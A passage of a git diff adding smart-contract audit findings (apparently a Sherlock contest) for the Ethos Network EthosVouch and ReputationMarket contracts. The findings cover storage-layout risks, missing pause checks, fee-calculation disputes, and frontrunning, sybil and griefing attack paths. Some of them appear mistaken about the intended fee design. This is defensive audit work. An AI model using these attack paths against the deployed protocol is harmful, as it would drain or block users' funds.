+_No response_ + +### Mitigation + + • Update the constant value to 1000 (10% in basis points), or + • Clarify the documentation to reflect the current behavior. \ No newline at end of file diff --git a/504.md b/504.md new file mode 100644 index 0000000..94e4d92 --- /dev/null +++ b/504.md @@ -0,0 +1,60 @@ +Cuddly Plum Cheetah + +Medium + +# Corruptible Upgradeability Pattern in `EthosVouch.sol` and `ReputationMarket.sol` + +## Vulnerability Details + +Following is the inheritance chain of the Ethos Contracts: + +**EthosVouch Inheritance Chain:** +```js +EthosVouch +├── AccessControl +│ ├── IPausable +│ ├── PausableUpgradeable +│ ├── AccessControlEnumerableUpgradeable +│ └── SignatureControl +├── UUPSUpgradeable +├── ITargetStatus (interface) +└── ReentrancyGuard +``` +**ReputationMarket Inheritance Chain:** +```js +ReputationMarket +├── AccessControl +│ ├── IPausable +│ ├── PausableUpgradeable +│ ├── AccessControlEnumerableUpgradeable +│ └── SignatureControl +├── UUPSUpgradeable +└── ReentrancyGuard +``` +[EthosVouch.sol#L67](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L67) +[ReputationMarket.sol#L36](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L36) +The `EthosVouch.sol` and `ReputationMarket.sol` contract inherits from `ReentrancyGuard` instead of `ReentrancyGuardUpgradeable`, which is necessary for compatibility with upgradeable proxy systems. `ReentrancyGuard` is not designed to support the `initializer` function or the upgradeable-compatible storage layout required by UUPS proxies. + +The non-upgradeable `ReentrancyGuard` uses a storage slot that could potentially collide with other storage variables in future upgrades. This is because `ReentrancyGuard` initializes its storage in the constructor, while upgradeable contracts need to initialize storage in the initialize function. + +Also `SignatureControl` and `AccessControl` though out-of-scope for this audit do not define gap slots. This can result in misbehaviour in future when variables are added. + +In upgradeable contracts, maintaining a consistent storage layout is critical to prevent issues during upgrades, as each contract upgrade relies on an unchanged storage structure to function correctly. The current implementation of `ReentrancyGuard` and missing `strorage gaps` does not adhere to the requirements for upgradeable contracts and can lead to storage clashes during upgrades. + + +## Impact +The storage layout of Ethos contracts may be corrupted after upgrading the contracts and causing misbehaviour in the system + +## Recommendation +1. Changing the inheritance to use the upgradeable version: +```js +contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, ReentrancyGuardUpgradeable { +``` +```js +contract ReputationMarket is AccessControl, UUPSUpgradeable, ReentrancyGuardUpgradeable { +``` +2. Add initialization in the `initialize` function: +```js +__ReentrancyGuard_init(); +``` +3. Add `uint256[50] __gap;` inside `AccessControl` and `SignatureControl` to enable adding future variables. \ No newline at end of file diff --git a/505.md b/505.md new file mode 100644 index 0000000..736c8a5 --- /dev/null +++ b/505.md @@ -0,0 +1,38 @@ +Skinny Eggplant Canary + +Medium + +# Author can slash even if the staked amount is less than 2 ETH + +### Summary + +According to documentation in [whiteta](https://whitepaper.ethos.network/ethos-mechanisms/slash) - Social Validation - "you become eligible to validate and participate in slashing events if you have a minimum of 2Ξ staked cumulative across any Ethos profiles" an author is unable to slash when there is less than 2 ETH in balance in Ethos profiles. However, there is no any checks in 'EthosVouch.sol::slash'. + +### Root Cause + +No checks in 'EthosVouch.sol::slash' for authors balance > 2 Eth. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L520 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +add check for vouch.balance < 2 ETH, otherwiser revert. \ No newline at end of file diff --git a/506.md b/506.md new file mode 100644 index 0000000..3ba4849 --- /dev/null +++ b/506.md @@ -0,0 +1,35 @@ +Cuddly Plum Cheetah + +Medium + +# Failure to Initialize `PausableUpgradeable` in EthosVouch Contract + +## Summary + +The current implementation of the `EthosVouch` and `ReputationMarketcontract` fails to initialize the `PausableUpgradeable` module, which is necessary for pausing and unpausing contract functions + +## Vulnerability Details + +In the current implementation, `EthosVouch` inherits from `AccessControl`, which includes `PausableUpgradeable` as one of its dependencies: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L67 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L36 +```js +contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, ReentrancyGuard { +``` +The AccessControl contract inherits from PausableUpgradeable: +```js +abstract contract AccessControl is + IPausable, + PausableUpgradeable, + AccessControlEnumerableUpgradeable, + SignatureControl +{ +``` +The `PausableUpgradeable` module is intended to be initialized using the `__Pausable_init` function. However, there is no explicit call to initialize `PausableUpgradeable` using `__Pausable_init` in the `initialize` function of the `EthosVouch` contract. This omission leaves the contract without the ability to function properly when attempting to pause or unpause. + +## Impact +If the `PausableUpgradeable` functionality is not correctly initialized, the contract cannot be paused or unpaused + +## Recommendation +Add a call to `__Pausable_init` in the contract’s `initialize` function. \ No newline at end of file diff --git a/507.md b/507.md new file mode 100644 index 0000000..dcf21ac --- /dev/null +++ b/507.md @@ -0,0 +1,83 @@ +Proud Chartreuse Whale + +High + +# Slashing timeLock not implemented and lets user about to be slashed unvouch all the vouches making slashing have no impact + +### Summary + +In the docs its stated that "_Any Ethos participant may act as a "whistleblower" to accuse another participant of inaccurate claims or unethical behavior. This accusation triggers a 24h lock on staking (and withdrawals) for the accused._ " +[Link to slashing docs](https://whitepaper.ethos.network/ethos-mechanisms/slash#slashing) + +This timelock mechanishm is not implemented currently which lets the user unvouch thier entire vouches before they get slashed so as to make slashing the user have no impact. + +### Root Cause + +The slashing timlock mechanism for unvouching for slashing accused profiles is not implemented currently and there is over 24 hours timegap between the accusation and slashing so by that time the accused can unvouch all their vouches + +```Solidity +function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch + // however, we don't care about the status of the address's profile; funds are always attached + // to an address, not a profile + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } + + v.archived = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unvouchedAt = block.timestamp; + // remove the vouch from the tracking arrays and index mappings + _removeVouchFromArrays(v); + + // apply fees and determine how much is left to send back to the author + (uint256 toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); + // set the balance to 0 and save back to storage + v.balance = 0; + // send the funds to the author + // note: it sends it to the same address that vouched; not the one that called unvouch + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); + if (!success) { + revert FeeTransferFailed("Failed to send ETH to author"); + } + + emit Unvouched(v.vouchId, v.authorProfileId, v.subjectProfileId); + } +``` + +[RepoLink](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L452-L481) + +The accused user can just call unvouch() for all their vouches making slashing have no impact + + +### Impact + +There is over 24 hours timegap between the profile accusation and slashing and by that time the accused can unvouch all their vouches making slashing have no impact + + + +### Mitigation + +Implement a function that can be called in EthosVouch where once an accusation is raised for a particular profile the function will flag the user profile and add checks in unvouch() to check if the profile is flagged before the user can unvouch + +```Solidity + mapping(uint256 => bool) public isProfileAccused; +``` + +```Solidity + function accuseProfile(uint256 profileId, bool accuse) external { + isProfileAccused[profileId] = accuse; + } +``` +and add these validations in unvouch() + +```Solidity + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + + require(!isProfileAccused[profileId],"Cannot Unvouch Profile accused"); +``` \ No newline at end of file diff --git a/508.md b/508.md new file mode 100644 index 0000000..f841d23 --- /dev/null +++ b/508.md @@ -0,0 +1,46 @@ +Generous Cerulean Wombat + +Medium + +# Vouch can be increased even when the contract is paused + +### Summary + +Missing the modifier `whenNotPaused` allows the author of a vouch to increase their vouch count when the contract is in a paused state + +### Root Cause + +In [EthosVouch.sol:426](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426-L444) the function is missing the modifier `whenNotPaused` unlike most of the other functions. +This allows the author of the vouch to increase their vouch even if the contract is in a paused state. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Contract is paused +2. Author of the vouch calls `increaseVouch()` function which Increases the amount staked for an existing vouch +3. Regardless of the contract being paused, the vouch is increased ie amount staked is increased + +### Impact + +Author of a vouch can increase their stakedAmount even when contract is paused + +### PoC + +_No response_ + +### Mitigation + +Add the whenNotPaused modifier to the function + +```diff +- function increaseVouch(uint256 vouchId) public payable nonReentrant { ++ function increaseVouch(uint256 vouchId) public payable whenNotPaused nonReentrant { +``` \ No newline at end of file diff --git a/509.md b/509.md new file mode 100644 index 0000000..b022f05 --- /dev/null +++ b/509.md @@ -0,0 +1,70 @@ +Rare Lace Buffalo + +Medium + +# Buying votes for a given market using the `ReputationMarket.sol` contract takes a higher fee amount than it should + +### Summary + +The [`ReputationMarket:_calculateBuy()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L942) function applies fees on the total deposited amount rather than the total price of the votes, thereby costing the users more protocol fees. + +### Root Cause + +On [L960](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L960) the total sent eth (msg.value) is passed on to the [ReputationMarket:previewFees()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1141) function for the fees calculation, rather than the total price of the votes. + +### Internal pre-conditions + +1. Admin needs to set a none zero fee on the market + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The user pays more fees to the protocol due to incorrect fee calculations, the exact extra value paid will be dependent on factors such as how much eth the user has sent and how much the votes end up costing. + +### PoC + +append the following test lines to `test > reputationMarket > rep.fees.test.ts` inside of +```typescript +describe('Previewing Fees', () => { + . + . + . +}) +``` + +```typescript +it.only('incorrectly calculates entry fees', async () => { + // Simulate the user buying votes without fees + const { simulatedFundsPaid: noFeesPayment } = await userA.simulateBuy(); + + // Set fees according to the test file's default values used + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(entryFee); + await reputationMarket.connect(deployer.ADMIN).setDonationBasisPoints(donationFee); + + // Simulate the user buyng votes again, but this time with fees + const { simulatedFundsPaid: withFeesPayment } = await userA.simulateBuy(); + + // Calculate how much the fees would've been in the first simulate buy, using the same formula as the protocol + const expectedProtocolFee = (noFeesPayment * BigInt(entryFee)) / BASIS_POINTS; + const expectedDonation = (noFeesPayment * BigInt(donationFee)) / BASIS_POINTS; + + // Apply the expected fees + const expectedFunds = noFeesPayment + expectedProtocolFee + expectedDonation; + + // Log how much more eth the user ended up having to pay + console.log(ethers.formatEther((withFeesPayment - expectedFunds).toString())); + + expect(withFeesPayment).to.not.equal(expectedFunds); +}); +``` + +### Mitigation + +It's recommended to calculate the price of votes first before applying the fees on top of the price. \ No newline at end of file diff --git a/510.md b/510.md new file mode 100644 index 0000000..1198f96 --- /dev/null +++ b/510.md @@ -0,0 +1,40 @@ +Skinny Eggplant Canary + +Medium + +# TotalFees is not controlled in 'EthosVouch.sol::applyfees' + +### Summary + +No check for totalFees < MAX_TOTAL_FEES, in applyFess function in EthosVouch.sol can lead to lost funds in toDeposit variable where authors balance will be less during vouching. + +### Root Cause + +- in 'EthosVouch.sol::applyfees' totalFees exceed MAX_TOTAL_FEES up to 100% +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L951 + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +in https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L402 toDeposit in vouch[count] will be much less if totalFees exceeds fee limit without check + +### PoC + +_No response_ + +### Mitigation + +After line 953 in 'EthosVoch.sol' add check +++ if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); \ No newline at end of file diff --git a/511.md b/511.md new file mode 100644 index 0000000..19dea04 --- /dev/null +++ b/511.md @@ -0,0 +1,47 @@ +Clumsy Amethyst Ram + +Medium + +# An attacker can frontrun vouches to extract value from the `VouchersPool` fee + +### Summary + +The lack of protection against frontrunning in the `VouchersPool` reward distribution will cause a potential loss for previous voucher holders as an attacker can frontrun the first vouch for a profile to capture a disproportionate reward. + +Importantly, this exploit does not necessarily require the attacker to monitor the mempool or perform precise frontrunning. By simply aiming to be the first voucher for multiple profiles—especially those likely to receive high vouch amounts—the attacker can increase the chances of profiting from the `VouchersPool` fee distribution. If the fees are sufficiently low, the attacker can profit by being the initial voucher for as many profiles as possible, even without specific knowledge of upcoming transactions. In essence, while frontrunning certain vouches guarantees profitability, the attack remains feasible and potentially profitable without explicit frontrunning capabilities. + + +### Root Cause + +In the function [_rewardPreviousVouchers](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L697-L731), there is no protection against frontrunning for the first vouch of a profile, which allows an attacker to exploit the reward distribution by being the first to vouch when a profile has zero previous vouchers. + + +### Internal pre-conditions + +1. The attacker must have a verified profile. + + +### External pre-conditions + +1. The potential reward distribution must be large in enough to cover the fees incurred when vouching/unvouching + + +### Attack Path + +1. The attacker monitors vouch calls to profile ids to find potential rewarding front-runs by capturing a portion (or the whole) `VouchersPool` fee. +2. The legitimate voucher's transaction goes through and the attacker gets a share (or the whole if he's the only voucher) of the `VochersPool` fee. +3. The attacker calls unvouch to withdraw his funds from the contract and his profits are the initial vouch amount plus the `VouchersPool` fee minus the fees. + + +### Impact + +The previous voucher holders suffer an approximate loss of their expected reward. The attacker gains a share of the reward by frontrunning the first vouch (and potentially later vouches if the `VouchersPoolFee` is big enough/the current vouch balance is small enough). + + +### PoC + +_No response_ + +### Mitigation + +A possible mitigation would be to introduce a mechanism that limits the reward distribution for the first vouch or includes a time delay before distributing rewards, reducing the impact of frontrunning. \ No newline at end of file diff --git a/512.md b/512.md new file mode 100644 index 0000000..676ba7e --- /dev/null +++ b/512.md @@ -0,0 +1,69 @@ +Clumsy Amethyst Ram + +Medium + +# Malicious users can prevent legitimate vouches and degrade a profile's credibility by filling up the maximum vouches with minimal stakes + +### Summary + +Because there is no restriction on who can vouch for a profile and the minimum vouch amount is low, a malicious actor can cause a denial of service for legitimate vouches. By using multiple profiles to vouch for a target profile with the minimum stake, the attacker fills up the maximumVouches limit, preventing others from vouching. This causes a negative impact on the target profile's credibility, as credibility is based on stake value rather than the number of vouches. + + +### Root Cause + +In the [vouchByProfileId](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L330-L415) function, there's no mechanism to prevent an attacker from exploiting the `maximumVouches` limit per subject profile. The attacker can use multiple profiles to vouch for a target profile with minimal amounts, filling up the vouch limit and degrading the profile's credibility. + +```solidity +// Don't exceed maximum vouches per subject profile +if (vouchIdsForSubjectProfileId[subjectProfileId].length >= maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsForSubjectProfileId[subjectProfileId].length, + "Exceeds subject vouch limit" + ); +} + +``` + +### Internal pre-conditions + +1. Attacker controls multiple profiles: The attacker has or creates enough profiles (up to `maximumVouches`) to perform the attack. +2. Minimum vouch amount is low: The `configuredMinimumVouchAmount` is set to a low value (e.g., 0.0001 ETH, as it is currently set). +3. `maximumVouches` is low and can be reached (e.g., 256, as it is currently set). + + +### External pre-conditions + +1. The malicious actor is able to create the necessary amount of profiles. (This is a valid concern as mentioned by the sponsor, since a possible scenario that slash can take place, is if "someone is using a bot/alts/sybil accounts to pad their ethos score". + + +### Attack Path + +1. Attacker creates or controls multiple malicious profiles: +2. Each malicious profile vouches for the target profile: + - Calls `vouchByProfileId` for the target `subjectProfileId` with the minimum stake amount. + - Pays the minimal `configuredMinimumVouchAmount` (e.g., 0.0001 ETH) plus any applicable fees. +3. Fills up the `maximumVouches` limit. +4. Further vouch attempts by legitimate users are reverted with `MaximumVouchesExceeded`. + + +### Impact + +The target profile cannot receive legitimate vouches due to the `maximumVouches` limit being reached with minimal stakes. This results in: + +- Reputation Damage: The profile's credibility is significantly lowered. +- Denial of Service: Legitimate users are unable to vouch for the profile. + +### PoC + +_No response_ + +### Mitigation + +Possible mitigations of this issue could be: + +- Adjust Vouch Limitation Mechanism: + - Instead of limiting the number of vouches (`maximumVouches`), limit based on total stake amount or implement a hybrid model. +- Increase Minimum Vouch Amount: + - Raise `configuredMinimumVouchAmount` to make such attacks economically unfeasible. +- Introduce Vouch Approval Process: + - Allow subjects to approve or reject vouches to prevent unwanted or malicious vouches. \ No newline at end of file diff --git a/513.md b/513.md new file mode 100644 index 0000000..27c40db --- /dev/null +++ b/513.md @@ -0,0 +1,64 @@ +Generous Cerulean Wombat + +Medium + +# Users should not be limited on the amount they can stake when calling `increaseVouch` + +### Summary + +The function `increaseVouch()` has a check for the minimum vouch amount , which prevents one from vouching with a low amount. This makes sense when vouching for the first time but not when increasing the vouch. + +### Root Cause + +In [EthosVouch.sol:426](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426-L444) we have the following check +```solidity + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } +``` +This prevents anyone from increasing the vouch with an amount less than the configured min amount. +This check should only be done when we are making a new vouch and not when increasing an existing one, increasing the vouch should not limit the author on the amount. + + + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +An author cannot increase their vouch if they have very small amount left. To do this they would be forced to withdraw their current stake + +### PoC + +_No response_ + +### Mitigation + +```solidity + function increaseVouch(uint256 vouchId) public payable nonReentrant whenNotPaused { + + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` \ No newline at end of file diff --git a/514.md b/514.md new file mode 100644 index 0000000..3d6f7ef --- /dev/null +++ b/514.md @@ -0,0 +1,101 @@ +Sweet Shadow Rhino + +Medium + +# Incorrect Fee Calculation in EthosVouch Contract Leads to Protocol Financial Loss + +## Impact +High. The `calcFee` function in EthosVouch.sol calculates fees based on the deposit amount (amount after fee deduction) rather than the total amount sent by the user, resulting in systematic undercharging of fees. This affects all fee types (protocol, donation, vouchers pool, and exit fees), leading to direct financial loss for the protocol and its stakeholders. + +## Vulnerability Details +The current implementation in `[calcFee](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975-L989)` function uses a "backwards" calculation that results in lower fees than intended: + +```solidity +function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + return total - (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); +} +``` + +### Mathematical Analysis +For a transaction of 100 ETH with a 1% fee (100 basis points): + +**Current Implementation:** +1. `deposit = 100 ETH * 10000 / (10000 + 100)` ≈ 99.0099 ETH +2. `fee = 100 - 99.0099` = 0.9901 ETH + +**Expected Implementation:** +1. `fee = 100 ETH * 100 / 10000` = 1.0000 ETH + +The difference of 0.0099 ETH (≈1% of the fee) is lost for each fee calculation. + +## Impact Amplification +The impact is amplified by: +1. Multiple fee types being charged in the same transaction +2. Larger transaction amounts +3. Higher fee percentages +4. Frequent transactions + +## Code Snippet +```solidity +// Location: EthosVouch.sol:202 +function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + /* + * Formula derivation: + * 1. total = deposit + fee + * 2. fee = deposit * (feeBasisPoints/10000) + * 3. total = deposit + deposit * (feeBasisPoints/10000) + * 4. total = deposit * (1 + feeBasisPoints/10000) + * 5. deposit = total / (1 + feeBasisPoints/10000) + * 6. fee = total - deposit + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) + */ + return total - (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); +} +``` + +## Proof of Concept +```solidity +// Test case demonstrating the vulnerability +function testFeeCalculationLoss() public { + uint256 amount = 100 ether; + uint256 feeBasisPoints = 100; // 1% + + // Current implementation + uint256 actualFee = calcFee(amount, feeBasisPoints); + // ≈ 0.9901 ETH + + // Expected calculation + uint256 expectedFee = amount * feeBasisPoints / BASIS_POINT_SCALE; + // = 1.0000 ETH + + // Demonstrates loss + assert(actualFee < expectedFee); + // Loss is approximately 0.0099 ETH per fee +} +``` + +## Recommended Fix +Replace the current `calcFee` implementation with a direct percentage calculation: + +```solidity +function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + return total * feeBasisPoints / BASIS_POINT_SCALE; +} +``` + +## Tools Used +- Manual code review +- Mathematical analysis +- Test case simulation + +## Recommendation +1. Implement the corrected fee calculation formula as shown above +2. Add comprehensive test cases covering various fee scenarios +3. Consider adding invariant checks to ensure fee calculations meet expected percentages +4. Document the fee calculation methodology clearly in the contract comments + +## Risk Categorization +- Impact: High (Direct financial loss) +- Likelihood: High (Affects every transaction) +- Complexity: Low (Simple mathematical error) +- Priority: Immediate fix required \ No newline at end of file diff --git a/515.md b/515.md new file mode 100644 index 0000000..2c94d34 --- /dev/null +++ b/515.md @@ -0,0 +1,74 @@ +Clumsy Amethyst Ram + +High + +# Incorrect fee calculation allows total fees to exceed intended 10% limit, causing users to pay excessive fees + +### Summary + +The misconfiguration of the `MAX_TOTAL_FEES` constant and the fee calculation method in the `EthosVouch` contract will cause excessive fees for users. The `MAX_TOTAL_FEES` is set to `10000` basis points, but due to the fee calculation formula, users can be charged fees higher than the intended maximum of 10%. For instance, setting total fee basis points to `10000` results in a 50% fee, surpassing the maximum of 10%, leading to users paying more than expected. + + +### Root Cause + +In the [EthosVouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120) contract, the `MAX_TOTAL_FEES` constant is set to `10000`. Additionally, the [calcFee](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975-L989) function uses a fee calculation formula that causes the actual fee percentage, leading to higher fees than the maximum allowed. + + +### Internal pre-conditions + +1. The admin sets one or more fee basis points (e.g., `entryProtocolFeeBasisPoints`, `entryDonationFeeBasisPoints`, `entryVouchersPoolFeeBasisPoints`, `exitFeeBasisPoints`) such that their sum reaches `MAX_TOTAL_FEES` (currently `10000` basis points). + + +### External pre-conditions + +1. There is any external pre-condition, just only that users have to interact with the `EthosVouch` contract by performing transactions that involve fees. + +### Attack Path + +1. Admin sets total fee basis points to `10000` of just one of the fees, so as to make the scenario as simple as possible. That passes successfully the `require` check in the `checkFeeExceedsMaximum` function. +2. User calls any function that uses fees, such as `vouchByProfileId`**, sending an amount of ETH to stake. +3. The `applyFees` function calculates the fees using the `calcFee` method. +4. Due to the fee calculation formula, the user is charged a 50% fee instead of the intended 10%. +5. User ends up depositing less than expected, losing additional funds to high fees. + +To explain further the 4th step of this, since we have simplified this scenario, and we only have one fee that is set to the maximum allowed of 10000, to use the calculation formula that is in comments above the `calcFee` function that is correct, we end in: + +```sol +fee = total - (total * 10000 / (10000 + feeBasisPoints)) +fee = total - (total * 10000 / (10000 + 10000)) +fee = total - (total * 10000 / (20000)) +fee = total - total/2 +fee = total/2 +``` +so the maximum fee is 50% + +### Impact + +Users suffer a significant loss by paying excessive fees exceeding the intended 10% limit. This can lead to a loss of up to 50% of their transaction amount. + +### PoC + +_No response_ + +### Mitigation + + +- Adjust the `MAX_TOTAL_FEES` constant: Change `MAX_TOTAL_FEES` from `10000` to approximately `1111` basis points to reflect a 10% maximum fee when using the current fee calculation formula. + +**Explanation** + +To ensure the fee does not exceed 10% of the total amount, the `feeBasisPoints` should be calculated as follows: + +Let `fee / total = 0.1` (10% fee): + +```sol +fee = total - (total * 10000 / (10000 + feeBasisPoints)) +fee / total = 1 - ( 1 * 10000 / 10000 + feeBasisPoints)) +0.1 = 1 - ( 1 * 10000 / 10000 + feeBasisPoints)) +(10000 + feeBasisPoints) / 10 = (10000 + feeBasisPoints) - 10000 +(10000 + feeBasisPoints) / 10 = feeBasisPoints +10000 + feeBasisPoints = 10 * feeBasisPoints +feeBasisPoints = 10000 / 9 ≈ 1111 +``` + +Therefore, to cap the fee at 10%, `MAX_TOTAL_FEES` should be set to approximately `1111` basis points. diff --git a/516.md b/516.md new file mode 100644 index 0000000..cae9902 --- /dev/null +++ b/516.md @@ -0,0 +1,121 @@ +Sweet Shadow Rhino + +Medium + +# Restrictive Balance Check Enables Donation Recipient Update Denial and Front-Running Attacks + + +## Description +A vulnerability exists in the `updateDonationRecipient` function of the `ReputationMarket` contract that allows malicious actors to prevent legitimate addresses from being set as donation recipients through two attack vectors: +1. A griefing attack by pre-emptively sending small amounts to potential recipients +2. A front-running attack that can consistently block recipient updates + +## Technical Details +The vulnerability is present in the `[updateDonationRecipient](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L544-L564)` function: + +```solidity +function updateDonationRecipient(uint256 profileId, address newRecipient) public whenNotPaused { + // ... + require(donationEscrow[newRecipient] == 0, "Donation recipient has balance"); + // ... +} +``` + +### Attack Vector 1: Pre-emptive Griefing +The function enforces a strict requirement that the new recipient's `donationEscrow` balance must be zero. This creates an attack vector where: + +1. An attacker identifies potential future donation recipients +2. The attacker sends a minimal amount of ETH to these addresses, causing their `donationEscrow` balance to become non-zero +3. These addresses are then prevented from becoming donation recipients due to the balance check + +### Attack Vector 2: Front-Running +The function is also vulnerable to front-running attacks: + +1. Attacker monitors the mempool for `updateDonationRecipient` transactions +2. When a transaction is detected, attacker front-runs it with a small donation to the `newRecipient` address +3. The original `updateDonationRecipient` transaction will fail due to the non-zero balance +4. This can be done repeatedly to consistently block updates + +## Impact +The vulnerability enables: +- Denial of service for donation recipient updates through two different vectors +- Forced retention of current donation recipient addresses +- Potential for broader griefing attacks +- Additional gas costs for targeted addresses to withdraw small balances +- Consistent front-running opportunities that can permanently block updates + +## Attack Scenarios + +### Scenario 1: Pre-emptive Griefing +1. Alice is the current donation recipient for a profile and wants to update it to Bob's address +2. Malicious actor Charlie sends 1 wei to Bob's address via the donation system +3. When Alice attempts to set Bob as the new recipient, the transaction reverts due to Bob's non-zero balance +4. Bob must spend gas to withdraw the tiny amount before being eligible as a recipient +5. If the donated amount is less than gas costs, Bob's address may be permanently blocked + +### Scenario 2: Front-Running +1. Alice submits a transaction to update the donation recipient to Bob's address +2. Malicious actor Charlie monitors the mempool and sees Alice's pending transaction +3. Charlie submits the same transaction with higher gas price, sending a minimal donation to Bob's address +4. Charlie's transaction gets processed first, making Bob's balance non-zero +5. Alice's transaction fails due to the balance check +6. This can be repeated every time Alice tries to update the recipient + +## Code Snippet +```solidity +function updateDonationRecipient(uint256 profileId, address newRecipient) public whenNotPaused { + if (newRecipient == address(0)) revert ZeroAddress(); + + // if the new donation recipient has a balance, do not allow overwriting + // this is so rare, do we really need a custom error? + require(donationEscrow[newRecipient] == 0, "Donation recipient has balance"); + + // Ensure the sender is the current donation recipient + if (msg.sender != donationRecipient[profileId]) revert InvalidProfileId(); + + // Ensure the new recipient has the same Ethos profileId + uint256 recipientProfileId = _ethosProfileContract().verifiedProfileIdForAddress(newRecipient); + if (recipientProfileId != profileId) revert InvalidProfileId(); + + // Update the donation recipient reference + donationRecipient[profileId] = newRecipient; + // Swap the current donation balance to the new recipient + donationEscrow[newRecipient] += donationEscrow[msg.sender]; + donationEscrow[msg.sender] = 0; + emit DonationRecipientUpdated(profileId, msg.sender, newRecipient); +} +``` + +## Recommended Mitigation +Consider implementing one or more of the following solutions: + +1. **Remove Balance Check** + - Remove the `donationEscrow` balance check since the function already verifies ownership through profile ID + - The current balance can be safely transferred to the new recipient + - This would prevent both griefing and front-running attacks + +2. **Add Balance Transfer** + - Allow the balance to be transferred as part of the recipient update + - Modify the function to handle existing balances appropriately + - Include safeguards against balance manipulation + +3. **Implement Minimum Threshold** + - Add a minimum balance threshold for the check to prevent micro-amount griefing + - Example: Only block updates if balance is above 0.01 ETH + - Note: This only partially mitigates the issue as attackers can still use larger amounts + +4. **Admin Override** + - Add a mechanism for admins to clear small balances in cases of griefing + - Include appropriate events and safety checks + - Consider adding timelock or other mechanisms to prevent front-running of admin actions + +5. **Commit-Reveal Pattern** + - Implement a 